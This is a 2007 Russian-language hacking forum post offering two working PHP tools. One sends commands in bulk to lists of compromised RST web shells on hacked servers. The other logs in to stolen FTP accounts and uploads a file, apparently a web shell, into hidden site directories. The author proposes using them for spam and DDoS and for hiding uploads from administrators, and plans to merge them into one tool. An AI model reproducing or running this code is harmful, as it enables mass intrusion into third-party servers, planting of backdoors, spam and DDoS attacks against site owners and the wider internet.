|
Гарант Форума
Регистрация: 22.01.2005
Сообщений: 267
Провел на форуме: 1982081
Репутация:
1067
|
|
может пригодиться счастливым обладателям большого колличества rst шеллов (которые кстати по гуглу насобирать без проблем можно). просто кидаете список с шеллами в файл и задаете команду в скрипте. функционал может быть дополнен до безграничности. можете загружать на хосты скрипты и выполнять их (например спамскрипты). в общем фантазия вам в помощь для дальнейших модификаций. скрипт работает по принципу cyber ddos system. в частности это его немного передаланная версия, оптимизированы некоторые участки кода + убрана часть в которой идет загрузка перлового ддосера. в общем расширена специализация скрипта.
тестировалось на rst шеллах версии 1.31
PHP код:
<?php
//rst mass cmd executer by .::Gh0st::.
//[1]define
$shells = "shells.txt";
$cmd = "id";
//end of [1]
//[2]get shells list
$handle = fopen($shells, "r");
$buffer = fread($handle, filesize($shells));
fclose($handle);
//end of [2]
function post($post , $method, $host, $port, $path, $header)
{
$params = "";
if ($method == "POST")
{
foreach ($post as $name => $val)
{
if ($params == "")
{
$params = $name."=".$val;
}
else
{
$params = $params."&".$name."=".$val;
}
}
$post = "POST ".$path." HTTP/1.0\r\n";
$post .= "Host: $host\r\n";
$post .= $header;
$post .= "Content-Type: application/x-www-form-urlencoded\r\n";
$post .= "Content-Length: ".strlen($params)."\r\n\r\n";
$post .= "$params\r\n\r\n";
}
$fp = fsockopen($host, $port, $errno, $errstr, 5);
if(!$fp){ echo "$errstr ($errno)<br>\n"; }
else
{
fputs($fp, $post);
$result = "";
while(!feof($fp)) { $result .= fgets($fp,128);}
fclose($fp);
}
return $result;
}
$header = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\r\n";
$header .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header .= "Accept-Language: en-us,en;q=0.5\r\n";
$header .= "Accept-Encoding: gzip,deflate\r\n";
$header .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$header .= "Referer: http://".$host.$path."\r\n";
$post_data = array ("php_eval" => $cmd, "dir" => "", "cmd" => "php_eval", "submit" => "go",);
//sending command
$buffer = explode("\n", $buffer);
for($i=0; $i < count($buffer); $i++)
{
if (!empty($buffer[$i]))
{
$shell = explode("/", $buffer[$i]);
$host = $shell[2];
$dir = preg_split('/http:\/\/|\//i', $buffer[$i], 3);
$path = "/".$dir[2];
$content = post($post_data, "POST", $host, 80, $path, $header);
flush();
$pos = strpos($content, 'safe_mode: <b><font color=red>OFF');
if ($pos === false)
{
echo "<center><font color=red>$host not work (maybe save safe_mode=on)</font></center>";
}
else
{
echo "<center><font color=blue>$host</font> command executed</center>";
}
}
}
//end of sending command
php?>
насчет заливщика, я писал как-то заливщик для фтп-акков, но у него очень слабый функционал. он заливает в какую-либо конкретно указанную директорию.
PHP код:
<?
set_time_limit(0);
error_reporting(0);
ignore_user_abort(1);
$upl = 'jupra.php'; # file to upload
$ftp = 'good.txt'; # input list
$dir1 = 'images'; # directory to upload
$dir2 = 'avatars'; # deeper directory to upload
echo "<b>[*]task started</b><br>";
$handleftp = fopen($ftp,'r');
while (!feof($handleftp))
{
$buffer = fgets($handleftp);
$buffer = explode('@',$buffer);
$host = trim($buffer[1]);
$buffer = explode(':',$buffer[0]);
$pass = $buffer[2];
$buffer = explode('/',$buffer[1]);
$logn = $buffer[2];
$connect = ftp_connect($host,21,30);
if ($connect === false)
{}
else
{
if (ftp_login($connect,$logn,$pass) === false)
{}
else
{
ftp_chdir($connect,'public_html');
ftp_mkdir($connect,$dir1);
ftp_chdir($connect,$dir1);
ftp_mkdir($connect,$dir2);
ftp_chdir($connect,$dir2);
$handle = fopen($upl,'r');
if (ftp_fput($connect, $upl, $handle, FTP_ASCII))
{
$good = fopen('uploaded.txt','a');
$string = "http://$host/$dir1/$dir2/$upl\r\n";
fwrite($good,$string);
fclose($good);
echo $string;
}
else {echo "error uploading\r\n";}
fclose($handle);
}
ftp_close($connect);
}
}
fclose($handleftp);
echo '<b>[*]task finished</b>';
?>
ни много ни мало, мы уже получаем аналог продаваемого софта от sboy (ессно более слабого). в дальнейшем я хочу оптимизировать код заливщика (поиск директорий и заливать файл как-можно подальще, чтобы не спалили админы) и код скрипта исполняющего команды, ну и объединить их ессно. получится такой кроссплатформенный скриптег, через который можно будет залить на список фтп веб-шеллы, а потом им передавать любые команды (заливка скрипта и его исполнение (спам / ддос).
только 1 вопрос волнует - кого-нить это вообще интересует?
Последний раз редактировалось .::Gh0st::.; 09.12.2007 в 14:56..
|